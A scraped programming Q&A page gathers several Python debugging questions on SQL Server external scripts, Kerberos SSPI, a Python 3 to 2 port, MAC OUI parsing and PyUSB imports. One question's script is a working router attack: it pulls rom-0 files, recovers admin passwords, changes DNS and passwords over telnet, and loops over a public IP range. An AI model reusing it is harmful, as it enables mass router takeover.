SQL Server stored procedure Python passed file path - python

I am trying to pass a file directory to a Python script in order to process the contents. Here is the EXEC statement and below my code is the error. It is supposed open the file and do some processing.
EXEC ScrapeData 'F:\FinancialResearch\SEC\myEdgar\sec-edgar-filings\WIRE\10-Q\0001753926-20-000110\full-submission.txt'
DROP PROCEDURE IF EXISTS ScrapeData;
GO
CREATE PROCEDURE [dbo].[ScrapeData]
(#filepath varchar(300))
AS
BEGIN
EXEC sp_execute_external_script
#language = N'Python',
#script = N'
import html2text
from bs4 import BeautifulSoup
import pyodbc
import re
import requests
import pandas as pd
with open(#filepath) as f:
contents = f.read()
soup = BeautifulSoup(contents, ''lxml'')
.....
Error:
Msg 39004, Level 16, State 20, Line 0
A 'Python' script error occurred during execution of 'sp_execute_external_script' with HRESULT 0x80004004.
Msg 39019, Level 16, State 2, Line 0
An external script error occurred:
Error in execution. Check the output for more information.
Traceback (most recent call last):
File "", line 3, in
File "E:\ProgramData\REAPER\Temp-PY\Appcontainer1\DE944528-CBDA-4AFD-B50F-32AD2CFD35B7\sqlindb_0.py", line 45
with open(#filepath) as f:
^
SyntaxError: invalid syntax
SqlSatelliteCall error: Error in execution. Check the output for more information.
STDOUT message(s) from external script:
SqlSatelliteCall function failed. Please see the console output for more information.

...for a file c:\temp\test.txt..
declare #myfile varchar(100) = 'c:\temp\test.txt';
EXEC sp_execute_external_script #language = N'Python', #script = N'
print(filename)
print(xyz)
print(paramZ)
num_lines = sum(1 for line in open(filename))
print("------")
print(num_lines)
',
#params= N'#filename varchar(100), #paramZ int, #xyz varchar(10)', #filename = #myfile, #xyz='abcd', #paramZ = 100;

Related

kerberos authentication in python

we have a database running MSSQL 2008 and I am using below Python (2.7) code to authenticate using Kerberos.
import urllib2
from urlparse import urlparse
from socket import gethostbyaddr
from sspi import ClientAuth
from base64 import b64encode, b64decode
def getService(url):
return 'host/{}'.format(
gethostbyaddr(
urlparse(url).netloc.split(':')[0]
)[0][:-16]
)
status, buff = 1, None
c = ClientAuth('Kerberos', targetspn=getService(url))
while status != 0:
status, buff = c.authorize(buff)
tgt = b64encode(buff[0].Buffer)
authorization_header = \
("Negotiate " + tgt)
When I try this code in python console, getService can resolve the address correctly giving me
host/SQLSERVER1
but when I do status, buff = c.authorize(buff) it gives me
Traceback (most recent call last): File "", line 1, in
File "C:\python27\lib\site-packages\win32\lib\sspi.py",
line 139, in authorize
sec_buffer_out) pywintypes.error: (-2146893053, 'InitializeSecurityContext', 'The specified target is unknown or
unreachable')
Why does it say The specified target is unknown or unreachable? when I can ping it and gethostbyaddr as well ? is there anyway to resolve this ?

Need to turn python 3 script to python 2.7 script

I had this Python 3 script and now I need it to run on Python 2,
from what I have read urilib should change to urlib2.
But it looks like there was a change in the encoding class.
because I get this error:
16:29:27 + python p.py
16:29:27 Traceback (most recent call last):
16:29:27 File "p.py", line 20, in <module>
16:29:27 binary_data = params.encode(encoding=repr,errors=strict)
16:29:27 NameError: name 'strict' is not defined
This is my Python 3 script:
import urllib
import urllib.request
import sys
import os
url = 'http://google.com'
params = urllib.parse.urlencode({
'profile': 'dev' ,
'KEY':'bdi.key' ,
})
binary_data = params.encode(encoding='ascii',errors='strict')
response = urllib.request.urlopen(url, binary_data).read()
This is my Python 2 script:
import urllib
import urllib2
from contextlib import closing
import sys
import os
url = 'http://google.com'
params = urllib.urlencode({
'profile': 'dev' ,
'KEY':'bdi.key' ,
})
binary_data = params.encode(encoding=repr,errors=strict)
response = urllib2.urlopen(url, binary_data).read()
How Can I get it to work?
I have never used Python before and this is a maintenance script that I am trying to keep alive :)
Issue is in string encoding function, namely errors parameter. You should put strict into quotes, since variable strict doesn't exist.
So, it should be like this:
binary_data = params.encode(encoding=repr, errors='strict')

File Too Large to import?

I just wrote this code to fetch the wireshark mac oui database, and I get the following error:
Traceback (most recent call last):
File "init.py", line 38, in <module>
main()
File "init.py", line 27, in main
import maclist
File "/home/synthetica/WiJam/maclist.py", line 23753
'FC:F6:4
however, this is NOT the contents of the file at that line. Is this a limit of the python intepreter, something I'm overlooking, or something else?
init.py:
def main():
#init
#Load config.
import localconfig
print localconfig.name
#update mac adress db, if at all possible:
try:
import maclist
except:
import urllib2
print "Fetching MAC adress db."
try:
maclist = urllib2.urlopen(localconfig.url)
else:
fl = open("maclist.py","w")
fl.write("#maclist.py generated by "+localconfig.name+"\n")
print "Generating maclist.py"
for line in maclist:
if "#" in line: line=line[:line.index("#")]
line = line.split()
if line and "-" not in line[0]:
line=[repr(part) for part in line]
line = "=".join(line)
fl.write("=".join(line.split())+"\n")
import maclist
#start browser
#start web interface
#handle web interface commands
#display web interface
if __name__=="__main__":
main()
localconfig.py
version = "0.3"
name = "Synth's WiJam (version "+version+")"
#maclist related:
url = "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf;hb=HEAD"
Any leads?
#bren
maclist.py: Not the full thing, heavens no. It's 20k+ lines.
'FC:E1:92'='SichuanJ'
'FC:E1:D9'='StableIm'
'FC:E2:3F'='ClayPaky'
'FC:E5:57'='Nokia'
'FC:E8:92'='Hangzhou'
'FC:ED:B9'='Arrayent'
'FC:F1:CD'='Optex-Fa'
'FC:F5:28'='ZyxelCom'
'FC:F6:47'='Fiberhom'
'FC:F8:AE'='IntelCor'
'FC:F8:B7'='TronteqE'
'FC:FA:F7'='Shanghai'
'FC:FB:FB'='Cisco'
Rewrite maclist.py to be proper python syntax, for example:
hosts={}
hosts['FC:FA:F7']='Shanghai'
hosts['FC:FB:FB']='Cisco'
and so on.

NameError: name 'host' is not defined

I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block
you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.

Python import error

I am trying to run a python file from the command line with a single parameter in Ubuntu 12.04. The program works if I simply run it from the IDE and pass the parameter in the code. However, if I call 'python readFromSerial1.py 3' in the command prompt, I get:
Traceback (most recent call last):
File "readFromSerial1.py", line 62, in <module>
main()
File "readFromSerial1.py", line 6, in main
readDataFromUSB(time)
File "readFromSerial1.py", line 9, in readDataFromUSB
import usb.core
ImportError: No module named usb.core
I'm a little confused as the module imports correctly if I run from the IDE. I download the pyUSB module and extracted it (its filename is pyusb-1.0.0a3). I then copied this file into
/usr/local/lib/python2.7/site-packages/. Is that the correct procedure? I have a feeling the issue is due to python simply not being able to find the usb module and I need to put it in the correct location. My code is below, and any help would be greatly appreciated:
readFromSerial1.py
import sys
def main():
time = sys.argv[1]
#time = 1
readDataFromUSB(time)
def readDataFromUSB(time):
import usb.core
#find device
dev = usb.core.find(idVendor=0x099e, idProduct=0x0001) #GPS info
#Was the device found?
if dev is None:
raise ValueError('Device not found')
else:
print "Device found!"
#Do this to avoid 'Errno16: Resource is busy'
if dev.is_kernel_driver_active(0):
try:
dev.detach_kernel_driver(0)
except usb.core.USBError as e:
sys.exit("Could not detach kernel driver: %s" % str(e))
#Sets default config
dev.set_configuration()
#Gets default endpoint
endpoint = dev[0][(0,0)][0]
writeObject = open("InputData.txt", "w")
#iterate for time purposes
for i in range(0, (time*6)): #sys.argv is command line variable for time input
data = dev.read(endpoint.bEndpointAddress, endpoint.wMaxPacketSize, 0, 100000)
sret = ''.join([chr(x) for x in data])
writeObject.write(sret);
print sret
'''
newStr = ''.join(sret[7:14])
compareStr = ",*4F"
if (newStr == compareStr):
print "The GPS is not reading in any values right now. Try going somewhere else with better reception."
else:
print sret[7:14]
'''
writeObject.close()
main()

Categories